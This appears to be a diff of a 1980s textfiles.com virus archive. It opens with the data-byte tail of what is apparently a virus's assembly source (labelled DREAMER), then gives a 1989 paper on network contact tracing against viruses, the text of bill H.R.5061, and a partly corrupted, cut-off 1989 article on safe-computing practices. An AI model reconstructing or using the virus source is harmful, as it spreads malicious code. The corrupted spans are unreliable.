db 074h,0A4h,08Bh,085h,069h,072h,0A9h,090h,067h,07Ch,0A8h,038h,07Fh
db 088h,05Bh,07Fh,0A5h,06Ah,073h,0B9h,05Bh,056h,0B2h,05Ah,042h,0A2h
db 0CCh,044h,037h,079h,055h,073h,0E2h,0A5h,06Bh,091h,062h,056h,0B7h
db 0ACh,051h,05Fh,0A1h,090h,02Eh,0A3h,07Eh,045h,09Fh,0A2h,07Ch,095h
db 08Ah,070h,067h,0AEh,074h,055h,0A7h,0DBh,018h,033h,066h,06Ch,07Bh
db 0C3h,090h,049h,07Dh,093h,076h,0B3h,0B0h,041h,046h,0A3h,08Dh,02Ah
db 08Fh,075h,046h,087h,0B2h,07Bh,07Eh,091h,06Eh,071h,09Fh,08Ah,069h
db 070h,092h,08Ah,04Fh,096h,090h,056h,07Dh,090h,084h,07Dh,0A1h,086h
db 066h,084h,08Bh,073h,081h,080h,084h,072h,089h,082h,06Bh,06Eh,07Fh
db 080h,077h,079h,095h,091h,059h,059h,081h,070h,069h,08Bh,08Eh,088h
db 059h,07Ch,06Dh,097h,083h,06Eh,07Fh,087h,093h,087h,078h,05Ch,078h
db 098h,07Eh,077h,08Fh,097h,062h,067h,080h,066h,07Eh,0A1h,07Ah,07Dh
db 089h,095h,078h,055h,073h,092h,08Ch,077h,07Dh,096h,092h,04Ah,05Fh
db 06Eh,087h,092h,08Ch,082h,085h,092h,078h,058h,06Ch,092h,073h,073h
db 086h,08Eh,07Fh,05Eh,04Ah,06Ch,073h,092h,0A0h,07Eh,090h,097h,08Bh
db 073h,070h,078h,089h,089h,075h,079h,08Fh,08Eh,07Ah,040h,05Fh,07Ch
db 086h,085h,0A2h,0A9h,084h,07Fh,075h,05Ch,073h,09Ch,076h,061h,07Fh
db 079h,075h,092h,082h,031h,069h,086h,076h,09Fh,0B1h,07Eh,073h,092h
db 06Bh,067h,097h,087h,074h,078h,07Ah,085h,099h,065h,067h,088h,054h
db 069h,085h,084h,087h,0A3h,08Ch,078h,09Fh,086h,053h,067h,07Ch,068h
db 075h,092h,078h,072h,07Ch,062h,07Dh,0AFh,090h,06Bh,07Ch,06Eh,068h
db 08Fh,0A0h,078h,06Ah,072h,075h,08Dh,08Ch,07Eh,089h,072h,054h,072h
db 08Bh,089h,07Fh,072h,06Bh,08Ah,0A2h,089h,08Fh,085h,066h,071h,093h
db 088h,074h,078h,06Dh,070h,08Ah,088h,089h,08Dh,072h,06Bh,080h,078h
db 079h,070h,069h,06Ch,07Ch,08Bh,082h,08Bh,078h,06Ah,087h,081h,07Eh
db 08Eh,070h,05Fh,079h,085h,07Fh,087h,07Ah,05Fh,08Ah,0A4h,076h,079h
db 080h,06Ah,069h,075h,07Eh,093h,0A5h,081h,072h,088h,088h,085h,090h
db 078h,060h,071h,07Bh,07Fh,084h,07Ah,068h,07Ah,08Ch,07Fh,07Ah,070h
db 068h,076h,07Ch,077h,093h,0A2h,080h,086h,07Dh,07Bh,083h,08Eh,068h
db 064h,074h,06Eh,077h,097h,074h,068h,080h,080h,071h,08Bh,07Ch,059h
db 079h,08Ah,074h,099h,09Ch,066h,07Fh,0A6h,07Fh,08Fh,0A0h,056h,06Dh
db 0A2h,06Ch,07Dh,09Dh,060h,05Fh,098h,072h,063h,097h,088h,048h,07Dh
db 085h,069h,0A3h,088h,04Eh,063h,09Fh,091h,077h,08Ch,074h,042h,085h
db 09Ch,06Ch,095h,066h,051h,08Fh,0CFh,07Ah,073h,09Ah,080h,065h,097h
db 080h,05Ah,081h,04Ch,04Ah,09Eh,09Ch,074h,07Fh,083h,086h,097h,09Ah
db 069h,07Fh,08Ch,060h,06Fh,0A0h,077h,06Eh,08Ch,08Eh,07Dh,083h,083h
db 064h,07Ah,074h,05Eh,079h,09Fh,07Ah,063h,083h,092h,069h,091h,088h
db 052h,075h,070h,069h,08Fh,0A0h,06Bh,074h,0ABh,08Eh,062h,08Dh,066h
db 063h,08Ah,071h,07Bh,0BBh,098h,068h,087h,0A4h,077h,097h,08Ch,044h
db 056h,069h,071h,0A7h,094h,05Dh,05Eh,0A4h,07Ch,077h,08Eh,05Ch,04Dh
db 07Eh,074h,07Bh,0ACh,078h,059h,0A3h,0A4h,060h,082h,084h,049h,075h
db 081h,07Eh,0ADh,0A5h,071h,07Fh,0BAh,074h,071h,084h,04Ah,05Bh,073h
db 071h,087h,0ADh,07Ch,062h,0ADh,093h,073h,097h,06Ah,03Fh,070h,077h
db 07Bh,0B5h,088h,058h,08Bh,0A8h,061h,079h,080h,045h,06Eh,075h,071h
db 09Bh,0B2h,072h,06Bh,0B0h,080h,078h,096h,061h,042h,05Fh,073h,08Dh
db 0B4h,088h,068h,0A3h,096h,06Fh,08Dh,07Ch,04Ah,05Eh,06Ch,07Fh,0BBh
db 0A0h,070h,08Fh,0B0h,07Eh,07Fh,08Ah,040h,030h,063h,086h,0AFh,0ACh
db 066h,063h,0B3h,080h,07Ch,07Eh,04Ch,03Fh,059h,079h,096h,09Bh,084h
db 077h,0ADh,090h,071h,085h,080h,03Eh,041h,073h,093h,0D3h,0B2h,076h
db 091h,09Ah,083h,0A3h,090h,040h,038h,05Bh,08Ah,0A7h,088h,071h,086h
db 090h,06Bh,07Eh,083h,052h,043h,057h,08Bh,0BBh,0C0h,080h,07Fh,0AAh
db 068h,07Bh,094h,050h,030h,048h,076h,09Dh,0A6h,07Dh,072h,0A7h,07Ah
db 069h,07Ah,07Dh,054h,065h,06Ch,085h,0A9h,0AAh,095h,0B2h,09Ch,059h
db 089h,0A1h,04Ch,049h,060h,07Eh,0C3h,0C0h,080h,083h,0A9h,067h,07Bh
db 08Dh,060h,03Ch,05Ah,085h,081h,07Eh,079h,08Dh,0B3h,060h,05Bh,07Bh
db 064h,03Dh,053h,06Ch,093h,0B5h,090h,08Ah,0BBh,07Ah,06Fh,08Fh,076h
db 046h,05Fh,070h,087h,0B3h,08Ch,07Ch,0AEh,078h,059h,085h,07Eh,048h
db 050h,07Bh,09Dh,0C1h,0A1h,08Fh,09Fh,098h,073h,085h,07Ch,048h,055h
db 07Ah,083h,083h,08Bh,08Bh,0A0h,0A8h,068h,06Fh,087h,05Eh,04Ah,061h
db 083h,095h,0A1h,090h,08Fh,0A8h,068h,067h,07Fh,062h,03Ah,056h,06Eh
db 097h,0B3h,087h,076h,09Fh,096h,06Ah,083h,080h,043h,056h,07Eh,088h
db 087h,08Fh,090h,0ADh,0B4h,060h,066h,08Dh,06Dh,044h,05Ch,075h,096h
db 0CAh,08Ch,063h,098h,071h,079h,087h,078h,044h,04Bh,083h,097h,09Bh
db 08Ah,07Ch,09Eh,0ACh,061h,05Fh,07Fh,062h,04Ah,067h,08Ah,095h,0BBh
db 098h,08Ch,0BDh,084h,085h,091h,06Ch,045h,059h,085h,08Bh,095h,08Bh
db 083h,0A4h,08Ch,04Dh,06Ah,08Bh,060h,048h,05Eh,07Fh,0ADh,0CCh,07Ch
db 068h,09Ch,064h,083h,089h,054h,036h,04Fh,07Dh,096h,0AFh,088h,072h
db 086h,0A0h,08Bh,074h,05Bh,04Dh,073h,078h,087h,09Eh,09Dh,092h,0A5h
db 0BCh,076h,07Bh,085h,059h,055h,06Ch,081h,093h,0A7h,0A1h,07Bh,07Ch
db 084h,06Dh,07Ch,07Bh,042h,039h,057h,07Dh,0C5h,0ACh,05Ah,071h,092h
db 06Ah,08Ah,09Fh,061h,046h,06Eh,099h,0BBh,0ABh,076h,073h,0A4h,068h
db 069h,06Fh,061h,036h,04Dh,07Bh,09Fh,0D1h,0A2h,081h,0B2h,098h,07Eh
db 093h,086h,04Bh,04Dh,077h,08Dh,0A7h,092h,07Ah,09Dh,0A0h,057h,072h
db 07Ah,05Ch,063h,065h,06Fh,09Fh,0CDh,08Dh,074h,09Ch,060h,063h,089h
db 070h,035h,046h,070h,095h,0C6h,090h,061h,085h,094h,06Ah,07Fh,07Eh
db 04Ah,05Ch,066h,076h,0A5h,0BAh,090h,087h,0BAh,082h,07Eh,095h,086h
db 04Ch,054h,07Dh,09Eh,0C9h,0A0h,06Ch,093h,086h,065h,073h,078h,03Dh
db 058h,065h,06Fh,08Ah,0AAh,090h,094h,0A1h,055h,062h,08Bh,068h,03Eh
db 04Ch,06Ch,09Bh,0D8h,090h,06Eh,0ACh,086h,07Dh,092h,076h,044h,052h
db 073h,089h,0B9h,096h,06Eh,08Dh,0A2h,065h,06Dh,084h,04Ah,05Dh,079h
db 090h,085h,094h,0ADh,0BBh,0C4h,066h,062h,083h,08Eh,056h,054h,068h
db 07Bh,0BFh,0BCh,070h,082h,063h,06Eh,08Dh,085h,040h,04Ah,069h,085h
db 0BDh,090h,05Ch,075h,09Ah,073h,07Bh,088h,050h,053h,074h,087h,097h
db 0ADh,08Eh,085h,0B3h,080h,073h,07Bh,076h,048h,059h,098h,092h,088h
db 08Ch,099h,0B6h,0A8h,05Bh,064h,081h,05Ch,050h,058h,066h,085h,0BFh
db 0A6h,072h,082h,057h,077h,0A5h,07Ch,04Dh,062h,07Bh,092h,0CAh,088h
db 054h,095h,080h,069h,07Bh,080h,04Ch,059h,07Ah,092h,0B5h,0B0h,079h
db 08Dh,09Ah,07Fh,07Fh,084h,057h,056h,076h,091h,09Fh,0A2h,088h,08Ah
db 0A5h,06Ah,06Dh,075h,05Ch,049h,062h,079h,087h,0BEh,099h,066h,08Eh
db 076h,07Eh,08Bh,074h,04Dh,05Bh,077h,089h,0AFh,0A0h,061h,07Bh,082h
db 065h,077h,08Eh,068h,068h,073h,08Eh,0A6h,0CAh,08Dh,065h,087h,08Bh
db 084h,076h,07Ch,054h,063h,075h,08Ah,0ADh,0B5h,078h,077h,093h,06Fh
db 07Bh,086h,060h,05Dh,068h,07Ah,093h,0C5h,08Ch,055h,083h,069h,071h
db 076h,072h,056h,05Ch,06Bh,081h,0ADh,0C4h,080h,067h,07Ah,061h,077h
db 096h,07Ah,072h,06Dh,07Eh,095h,0C2h,0B8h,064h,06Fh,072h,069h,078h
db 09Ah,078h,06Eh,073h,087h,0A7h,0CEh,098h,050h,07Eh,073h,074h,07Dh
db 088h,062h,066h,07Fh,091h,09Fh,0C3h,080h,058h,07Eh,060h,065h,081h
db 078h,057h,05Fh,088h,08Ch,0A0h,0B5h,076h,057h,070h,058h,070h,094h
db 075h,05Ch,077h,09Ch,08Ah,0A3h,0B8h,068h,05Fh,08Ch,06Dh,06Ah,095h
db 07Bh,06Bh,085h,093h,08Ah,0AFh,0B0h,064h,05Fh,08Fh,063h,069h,08Fh
db 067h,063h,07Dh,08Ah,082h,0A9h,0A8h,05Eh,05Dh,08Ah,060h,06Ah,089h
db 074h,073h,07Fh,092h,07Ch,089h,0B3h,081h,05Fh,093h,072h,066h,07Ah
db 08Eh,07Eh,089h,094h,080h,07Eh,09Fh,098h,064h,088h,
slutt: ; DREAMER has a weird sense of humor
size equ $-100h
pgf equ ($+16)/16

379
textfiles.com/virus/hormones.vir Normal file
View File

@@ -0,0 +1,379 @@
Date: Thu, 16 Mar 89 20:56:18 +0100
From: David Stodolsky <stodol@diku.dk>
Net Hormones: Part 1 -
Infection Control assuming Cooperation among Computers
Copyright (c) 1989 David S. Stodolsky, PhD. All rights reserved.
1. Abstract
A new type of infection control mechanism based upon contact tracing is
introduced. Detection of an infectious agent triggers an alerting
response that propagates through an affected network. A result of the
alert is containment of the infectious agent as all hosts at risk
respond automatically to restrict further transmission of the agent.
Individually specified diagnostic and treatment methods are then
activated to identify and destroy the infective agent. The title "Net
Hormones" was chosen to indicate the systemic nature of this programmed
response to infection.
2. Introduction
A new type of infection control mechanism that is based upon network-
wide communication and that depends upon cooperation among computer
systems is presented. Neither diagnosis nor treatment is necessary for
the operation of the mechanism. The mechanism can automatically trigger
responses leading to effective containment of an infection. The
identification and destruction of the infectious agent is determined by
individual actions or programs. This permits a highly desirable
heterogeneity in diagnostic and treatment methods.
Definition: "Hormone . . . 1: a product of living cells that circulate
in body fluids or sap and produces a specific effect on the activity of
cells remote from its point of origin; especially one exerting a
stimulatory effect on a cellular activity. 2: a synthetic substance
that acts like a hormone (Webster's new collegiate dictionary, 1976)."
The analogy here is between each network node or computer system and
the cell. In biological systems hormones attach to specialized
receptors on the cell surface resulting in cell activation. In the
system described here, a match between a code in a system archive and a
code delivered as part of an alerting message results in activation.
Alerting messages circulated electronically serve the role of hormones.
Epidemiology has traditionally had three major approaches to the
control of infectious agents:
:1 - Treatment of the sick (e. g., penicillin)
:2 - Contact tracing (e. g., social-work notification programs, laws
forcing the reporting of certain diseases and of contacts of infected
persons)
:3 - Prevention (e. g., vaccination, public information campaigns)
In computer system terms:
:1 - Treatment of infections (e. g., various programs and manually
installed patches and fixes)
:2 - Contact tracing (e. g., software "recall", and other manual
operations)
:3 - Prevention (e. g., various programs for blocking virus
replication, alerting users, and for logging suspicious events)
Contact tracing has been neglected with computer systems, although it
could be argued it is much easier with computer systems than with
biological systems. Currently such tracing depends upon people reading
reports and determining if their system is subject to infection,
performing diagnostic tests, determining a treatment method, obtaining
software, and so on. This is chancy and time consuming, requiring most
often people with the highest level of expertise. As computers and
networks speed up, an infectious agent could spread through a network
in hours or minutes. "Once a virus has infected a large number of
computers on a network, the number of infected removable media elements
will begin to skyrocket. Eventually, if the virus continues to go
undetected, a stage is reached in which the probability of identifying
and recovering all of the infected media is virtually zero (McAfee,
1989)." An automated contact tracing system thus seems essential in the
future if infectious agents are to be controlled.
3. Threats
"The modification of an existing virus to incorporate a long term delay
(such as 6 months or even a year) coupled with a totally destructive
manipulation task (such as a FAT, Boot sector scribble followed by a
complete format) is a fairly simple task. Such an action would convert
even a crude virus strain such as the Lehigh 1 virus into a
devistating (sic) strain. (Eg the comment by Ken that the modified
version of the Lehigh virus is now far more dangerous due to
modification of the delay in activation of its manipulation task)
(Ferbrache, 1989)."
Scott (1989) requested comments on:
"A little future speculation here... currently we seem to be fighting a
losing battle against virus detection and as viruses improve it's
unlikely that that will change. If we want the capability to download
shareware, etc, from bulletin boards, etc, then we must assume that we
cannot check the software for a virus with 100% success before running
it. In general, you can't know the output of a program given the
input without running it, except in special cases.
We can check for *known* viruses; but how long before shape-changing
and mutating viruses hit the scene that defeat all practical
recognition techniques?"
An inapparent infection could spread rapidly, with damage noted only
much later. Consider a worm that is constructed to carry a virus. The
worm infects a system, installs the virus and then infects other nearby
systems on the net. Finally, it terminates erasing evidence of its
existence on the first system. The virus is also inapparent, it waits
for the right moment writes some bits and then terminates destroying
evidence of its existence. Later the worm retraces its path reads some
bits, then writes some bits and exits. The point is that an inapparent
infection could spread quite widely before it was noticed. It also
might be so hard to determine whether a system was infected or not,
that it would not be done until damage was either immanent or apparent.
This analysis suggests response to network-wide problems would best be
on a network level.
4. Theory of operation
Computers generate (in the simplest case) random numbers which are used
to label transactions. A transaction is defined as an interaction
capable of transmitting an infectious agent. After each transaction
both systems therefore have a unique label or code for that
transaction. In the event that a system is identified as infected, the
transaction codes which could represent transactions during which the
agent was transmitted are broadcast to all other computers. If a
receiving computer has a matching code, then that system is alerted to
the possibility of the agent's presence, and can broadcast transaction
codes accumulated after the suspect contact. This iterates the process,
thus identifying all carriers eventually. The effect is to model the
epidemiological process, thereby identifying all carriers through
forward and backward transaction tracking (Stodolsky, 1979a; 1979b;
1979c; 1983; 1986).
5. The process of infection control
The process can be broken down into routine and alerting operations.
During routine operations, each file transfer is labeled in a way that
does not identify the systems involved. These labels are time stamped
(or have time stamps encoded in them). They are written into archives
on each system, ideally write-once/read-many times devices or some
other type of storage that could not easily be altered.
Alerting procedures are invoked when an infectious agent is noted or
when a suspect transaction code is received that matches one in the
system's archive. The earliest time the agent could have arrived at the
system and latest time (usually the moment the agent is noted or a
received suspect transaction code is matched) it could have been
transmitted from the system are used to delimit suspect transaction
codes. These codes are broadcast to alert other systems to the
potential presence of the agent.
In the simplest and most common case, if a system gets an alert that
indicates, "You could have been infected at time one," then the system
automatically packages the transaction codes between time one and the
present time to generate a new alert indicating the same thing to other
systems with which it has had contact.
Another automatic response could be to immediately cut off
communications in progress, thus reducing the risk of infection. A
further benefit of such a reaction would be the possibility of
disrupting the transfer of an infectious agent. Such a disrupted agent
would be harmless and easily identified and evaluated. Reestablishment
of communication could occur immediately with new procedures in force
that could warn new users that an alert was in progress as well as
limiting the type of transfers that could take place.
5.1. Practical considerations
Direct identification, as opposed to identification through forward
tracing notification, does not delimit effectively the earliest time
that an agent could have been present on a system. Thus an alert from
an originating system could include all transaction codes written prior
to the identification (or some default value). This could generate
excessive reaction on the network. This reaction could be controlled if
another system in a later alert indicated it had originated the
infection on the system originating the alert. Thus, protection of
identity which reduces any inhibition about reporting infection is
important. The type of reaction discussed here might be called a panic
reaction, because an excessive number of systems might be notified of
potential infection in the first instance.
A more restricted response could be generated if persons at the alert
originating system analyzed the causative agent, thereby hopefully
establishing the earliest time the agent could have been present on
that system. In this case, the suspect transactions could be delimited
effectively and all systems that could have been infected would be
notified, as would the system that had transmitted the agent to the
system originating the alert (assuming one exists). Ideally, each
notified system would be able to determine if it had received or
originated the infection and respond accordingly.
5.2. Forward tracing assumption
Assume, however, that rapid response is desired. Each notified system
would then react as if it had been notified of an infection transmitted
to it. It would package the transaction codes that had been written
later than the suspect transaction code it had received and issue a
secondary alert. This forward tracing assumption would lead to quite
effective control because of the exponential growth in the number of
infected hosts in epidemics (and exponential growth of alerts resulting
>From forward tracing). That is, a system can infect many others as a
result of a single infective agent transmitted to it. Forward tracing
would alert all systems that the alerting system could have infected.
These newly alerted systems would also issue forward trace alerts, and
this would continue until containment was reached under the forward
tracing assumption.
5.3. Backward tracing of suspect contacts and diagnosis
As a result of this rapid forward tracing response, it is likely that
more active infections would be identified. The resulting new
information could be used to more effectively characterize the life
cycle of the agent, thereby hopefully permitting effectively delimited
backward tracing. Also as a result of accumulated information, positive
tests for the agent would become available. Once this stage had been
reached the focus of action could shift from control of suspect
transactions to control of transactions known to facilitate the
transmission of the agent.
6. Feasibility and Efficiency
Both technical and social factors play a key role in the operation of
the control mechanism. Contact tracing is probably most effective for
sparsely interacting hosts. The rate of transfer of the infectious
agent as compared to the rate of transfer of the suspect transaction
codes is also a critical factor. Recording of transactions can be
comprehensive on computer networks, however, unregistered transactions
will be a factor in most cases. Once the infectious agent has been
identified, the type of transactions capable of transmitting the agent
can be delimited. This could increase efficiency.
6.1. Social organization of alerts
Another major efficiency factor is errors in origination of alerts.
Since protected messages would trigger network-wide alerts, it is
important that false alarms are controlled effectively. On the other
hand, failure to report an infection could permit an infectious agent
to spread in an uncontrolled manner and could increase the number of
systems unnecessarily alerted. Successful operation of the mechanism
described above assumes voluntary cooperation among affected systems.
This assumption could be relaxed by application of an enforcement
mechanism. It would require substantially greater complexity and
greater centralization of coordination. In other words, if cooperation
was not forthcoming "voluntarily", users would likely be treated to a
complicated, restrictive, and resource intensive mechanism that would
be developed to enforce it. "Estimates of the damages inflicted by
November's Internet infection alone ranged upward of $100 million . . .
(McAfee, 1989)." Costs of this magnitude make it very likely that even
expensive enforcement mechanisms will be developed if they are made
necessary.
The simplest organizational strategy would assume that protection of
identity was not needed, but this would also be likely to inhibit
alerting. True anonymity, however, permits irresponsible behavior to go
unchecked. A reputation preserving anonymity (pseudonymity) would be
desirable to ensure both protection and accountability and thereby
promote cooperation. Pseudonyms would best be the property of persons
(in association with a computer system).
Even sincere cooperation, however, would not eliminate inefficiencies
resulting from false alarms or failure to alert. Both inadequate
training and poor judgement are likely sources of these errors. If
users realize that there are reputational costs associated with these
failures, then they are likely to be motivated to minimize them. False
alarms are already a major problem because of user inexperience and the
high level of defects in widely used software. A reputational mechanism
would motivate increased user education and more careful software
selection, with a corresponding pressure on software publishers to
produce well behaved and carefully documented products.
6.2. Enforcing cooperation
Crypto-protocols could be used to ensure that a non-cooperator could
not communicate freely with others using the infection control
mechanism. This type of communication limiting could be used routinely
to ensure that a system requesting connection was not infected. In
effect, systems would exchange health certificates before file
exchanges, to ensure that they would not be infected. A system that
could not show a health certificate could be rejected as a conversation
partner due to risk of infection. This would no doubt enforce
cooperation. The mechanism (Stodolsky, 1986) is beyond the scope of
this note.
6.3. Non-network transfers
While the discussion above has focused on transfers through networks,
the same principles could be applied to disk or tape transfers. The
originating system would write a transaction code on the medium with
each file. Protection of identity would possibly be reduced under this
type of transfer. Since there is no question about the directionality
of transmission of an infectious agent in off-line transfers, non-
network transmission is likely to be easier to control. Several other
factors, such as the rate of spread of the agent, are likely to make
such infections less troublesome.
7. Summary and Benefits
The idea behind Net Hormones is to make immanent danger apparent. More
precisely Net Hormones permit the visualization of infection risk.
7.1. Control of unidentified infectious agents.
Net Hormones work by permitting isolation of infectious hosts from
those at risk. Identification of the infectious agent is not required
for action. Therefore, new and as yet unidentified agents can be
effectively controlled.
7.2. Rapid response
Hosts could automatically respond to alerts by determining if they had
been involved in suspect contacts, and generate new alerts that would
propagate along the potential route of infection.
7.3. Protection of identity
The mechanism could function without releasing the identity of an
infected host. This could be crucial in the case an institution that
did not wish it to be publicly know that its security system had been
compromised, or in the case of use of unregistered software. More
precisely, software obtain by untraceable and anonymous file transfers
could be protected by this mechanism without release of users'
identity.
7.4. Distributed operation
Operation is not dependent upon a centralized register or enforcement
mechanism. Some standardization would be helpful, however, and a way to
broadcast alerts to all potential hosts would be valuable.
8. References
Ferbrache, David J. (1989, February 10). Wide area network worms.
VIRUS-L Digest, V. 2 : Issue 44. [<davidf@CS.HW.AC.UK> <Fri, 10 Feb 89
11:45:37 GMT>]
McAfee, J. D. (1989, February 13). In depth: Managing the virus threat.
Computerworld, 89-91; 94-96.
Scott, Peter. (1989, February 10). Virus detection. VIRUS-L Digest, V.
2 : Issue 44. [PJS%naif.JPL.NASA.GOV@Hamlet.Bitnet
<pjs@grouch.jpl.nasa.gov>. <Fri, 10 Feb 89 10:46:21 PST>]
Stodolsky, D. (1979a, April 9). Personal computers for supporting
health behaviors. Stanford, CA: Department of Psychology, Stanford
University. (Preliminary proposal)
Stodolsky, D. (1979b, May 21). Social facilitation supporting health
behaviors. Stanford, CA: Department of Psychology, Stanford University.
(Preliminary proposal)
Stodolsky, D. (1979c, October). Systems approach to the epidemiology
and control of sexually transmitted diseases. Louisville, KY: System
Science Institute, University of Louisville. (Preliminary project
proposal)
Stodolsky, D. (1983, June 15). Health promotion with an advanced
information system. Presented at the Lake Tahoe Life Extension
Conference. (Summary)
Stodolsky, D. (1986, June). Data security and the control of infectious
agents. (Abstracts of the cross disciplinary symposium at the
University of Linkoeping, Sweden: Department of Communication Studies).
Webster's new collegiate dictionary. (1976). Springfield, MA: G. & C.
Merriam
-------------------------------------------------------------
David Stodolsky diku.dk!stodol@uunet.UU.NET
Department of Psychology Voice + 45 1 58 48 86
Copenhagen Univ., Njalsg. 88 Fax. + 45 1 54 32 11
DK-2300 Copenhagen S, Denmark stodol@DIKU.DK

61
textfiles.com/virus/hr5061.vir Normal file
View File

@@ -0,0 +1,61 @@
The following is the text of proposed federal legislation imposing
possible fines, jail sentences and civil liability on purveyors of
computer viruses and other harmful programs. The title of the Act is
"The Computer Virus Eradication Act". It was sponsored during the
1988 session of Congress by Congressman Wally Herger, 26th District,
California.
H.R.5061
A BILL
To amend title 18, United States Code, to provide penalties for persons
interfering with the operations of computers through the use of
programs containing hidden commands that can cause harm, and for
other purposes.
Be it enacted by the Senate and House of Representatives of the
United Sates of America in Congress assembled.
Section 1. Short Title.
This Act may be cited as the "Computer Virus Eradication Act of
1988".
Section 2. Title 18 Amendment.
(a) IN GENERAL.---Chapter 65 (relating to malicious mischief) of
title 18, United Sates Code, is amended by adding at the end the
following:
"Sec. 1368. Disseminating computer viruses and other harmful
computer programs
"(a) Whoever knowingly---
"(1) inserts into a program for a computer information or
commands, knowing or having reason to believe that such information
or commands will cause loss to users of a computer on which such
program is run or to those who rely on information processed on such
computer; and
"(2) provides such program to others in circumstances in which
those others do not know of the insertion or its effects;
or attempts to do so, shall, if any of such conduct affects interstate or
foreign commerce, be fined under this title or imprisoned not more
than 10 years, or both.
"(b) Whoever suffers loss by reason of a violation of subsection (a)
may, in a civil action against the violator, obtain appropriate relief. In
a civil action under this section, the court may award to a prevailing
party a reasonable attorney's fee and other litigation expenses.".
(b) CLERICAL AMENDMENT.---The table of sections at the
beginning of chapter 65 of title 18, United States Code, is amended by
adding at the end the following:
"1368. Disseminating computer viruses and other harmful computer
programs.".


360
textfiles.com/virus/hysteria.vir Normal file
View File

@@ -0,0 +1,360 @@
Reprinted from CompuMag, Vol. 1 (1989), Issues 3 and 4
For subscription information call 1-805-273-0300
Virus Hysteria!
by Richard B. Levin
You're scared. Having heard how computer viruses leap
from computer to computer, you've learned your system could
be the next unwitting sufferer of a computer flu. After
all, your friend has a friend whose cousin knows someone
that witnessed a virus display "Arf! Arf! Gotcha'!" as it
gobbled up data on an office PC. And your local BBSes are
bubbling over with heated horror stories about bombs,
Trojans and viruses, not to mention countless
recommendations for anti-virus software products. It seems
that every new day brings with it stories of impending
computerized doom, created by evil geniuses with programming
abilities far beyond those you or your associates could ever
hope to achieve, much less do battle against.
Relax! Hysteria over computer viruses comes in waves.
The hysteria is fueled, in large part, by the popular press'
frenzied, poorly researched and consistently inaccurate
reporting on the subject. Computer crime is not a new story
and viruses are simply the latest plot twist. Vandals
sending "time-bombs" and viruses into our nation's telephone
network are akin to hackers breaking into corporate or
government mainframe computers and scrambling data--the
techniques they use for sowing destruction may differ, but
their intent and results are the same. Before you hang up
your joystick in disgust, however, realize that computer
vandalism has been with us, in one form or another, since
the first CRT was fired-up and will remain until the last
disk drive grinds to a halt. In any public endeavor there
will be an anti-social element; computing is no exception.
In the interest of "safe computing," the question we must
ask is "how do we protect ourselves from the ravages of the
computer criminal and computer viruses?"
If you choose not to ignore the reality of computer
viruses, there remains three ways to dispense with the
problem: virus prevention software, virus detection
software and safe-computing practices (which includes
anti-virus software usage, among other things). As with
other forms of crime prevention, virus prevention software
products may provide an effective deterrent in some cases;
they fail, however, when the criminal element is determined
to perpetrate criminal acts. Most virus prevention software
products have serious technical drawbacks users naturally
overlook (we're not all computer scientists) and virus
developers exploit. For example, not one of the anti-virus
software programs on the market today can protect a system
from a deadly disk "write" that bypasses DOS by directly
manipulating the disk controller. Users of virus prevention
products believe their computers are ImZ]<5D>Y<EFBFBD><59><EFBFBD><EFBFBD><EFBFBD><EFBFBD> in
reality,`taey're sitting ducks, safeguarded only from the
simplest of viruses.
Fact: it is physically impossible to prevent all
manner of viruses from entering your system; no matter how
many automobile alarms you may install, if the crooks want
to steal the wheels badly enough, they will. This same line
of reasoning remains true in the area of virus protection:
if the virus developer is determined to breach your system,
your system will be compromised. You can, however, detect
viral infections almost immediately after they occur, which
allows you to rapidly eradicate the invaders and prevent
future infections. By employing the following "safe
computing" measures (excerpted from the documentation that
accompanies my CHECKUP virus detection system) and by
installing a reliable virus DETECTION system, you are
guaranteed a measure of security virus PREVENTION software
can never provide:
* Run CHECKUP (or another reliable virus
detection system) daily. CHECKUP provides a
sanitary, clean floppy disk/batch file method
that is capable of detecting any virus, past,
present or future.
* Run major applications via DOS batch files
and have CHECKUP (or another reliable virus
detection system) perform a pre-run,
last-minute ci<63>ck of programs about to run.
Using CHECKUP, for example: instead of
typing the "WORD" command to run Microsoft
Word, create a batch file named "WRD.BAT"
that reads as follows:
CD \WORD
CHECKUP WORD.COM
IF ERRORLEVEL 1 GOTO EXIT
CHECKUP WORD_DCA.EXE
IF ERRORLEVEL 1 GOTO EXIT
CHECKUP MAKEPRD.EXE
IF ERRORLEVEL 1 GOTO EXIT
CHECKUP MERGEPRD.EXE
IF ERRORLEVEL 1 GOTO EXIT
CHECKUP MW.PGM
IF ERRORLEVEL 1 GOTO EXIT
CHECKUP SPELL-AM.EXE
IF ERRORLEVEL 1 GOTO EXIT
WORD
:EXIT
In the future, use the WRD command to invoke
Microsoft Word. CHECKUP will examine all of
Microsoft Word's executable files and will
allow them to run if (and only if) they pass
CHECKUP's scrutiny. Of course, unlike
Microsoft Word, many applications have only
one principal executable file to check,
greatly simplifying implementation of pre-run
checking through DOS batch files.
* Regularly check and log available disk space.
Aggressive viruses decrease storage space as
they spread throughout a system. This
activity can be identified through rigorous
monitoring.
The following commands, added to
AUTOEXEC.BAT, will track disk usage:
CD \
DIR >> DIR.LOG
TYPE DIR.LOG > PRN
* Observe the time it takes for programs to
load--infected files take longer. Programs
exhibiting longer than normal load times
might be infected (see next tip for related
information).
* Scrutinize disk accesses whenever possible.
Viruses can spend large amounts of time
scanning directories and executable files as
they search for new, uninfected host files.
Programs conducting longer than normal disk
I/O, especially during load-time, might be
infected.
* Periodically re-install applications from
their master disks. This overwrites
application files in use and any viruses
incubating within them.
* Once a week, use the SYS command to
re-install the system files onto your boot
disk(s). This eliminates viruses lurking in
the boot sectors.
* Use the DOS "SHELL" command to rename and
relocate COMMAND.COM to a directory other
than the root of your boot disk. Then place
a different copy of COMMAND.COM in the root
directory. This may divert viruses into
infecting the decoy copy instead of your
actual command processor. Refer to your DOS
reference manuals for information on the
SHELL command.
* Boot from a certified clean floppy disk copy
of your DOS master disks whenever possible.
This insures your system is running under an
uncorrupted operating system at all times.
* Change executable file attributes to
read-only. Poorly engineered viruses may not
be able to alter read-only files. Executable
files are those ending in a .BAT, .COM or
.EXE extension or loaded in CONFIG.SYS.
Many programs write to their master
executable file when saving configuration
information. If such a file has been
converted to read-only, the read-only
attribute must be removed before
re-configuring and reset afterward.
There are many utilities that can reset file
attributes, including ATTR.COM, available for
downloading from the PC-Magazine Network on
CompuServe. CompuServe users can "GO
PCMAGNET" to download ATTR.COM. If you own
the Norton Utilities, use Norton's FA.EXE to
change attributes of COMMAND.COM to read-only
using Norton's FA, enter:
FA COMMAND.COM /R+
Some versions of DOS provide an ATTRIB (or
similar) command. Check your DOS reference
manuals for more information on modifying
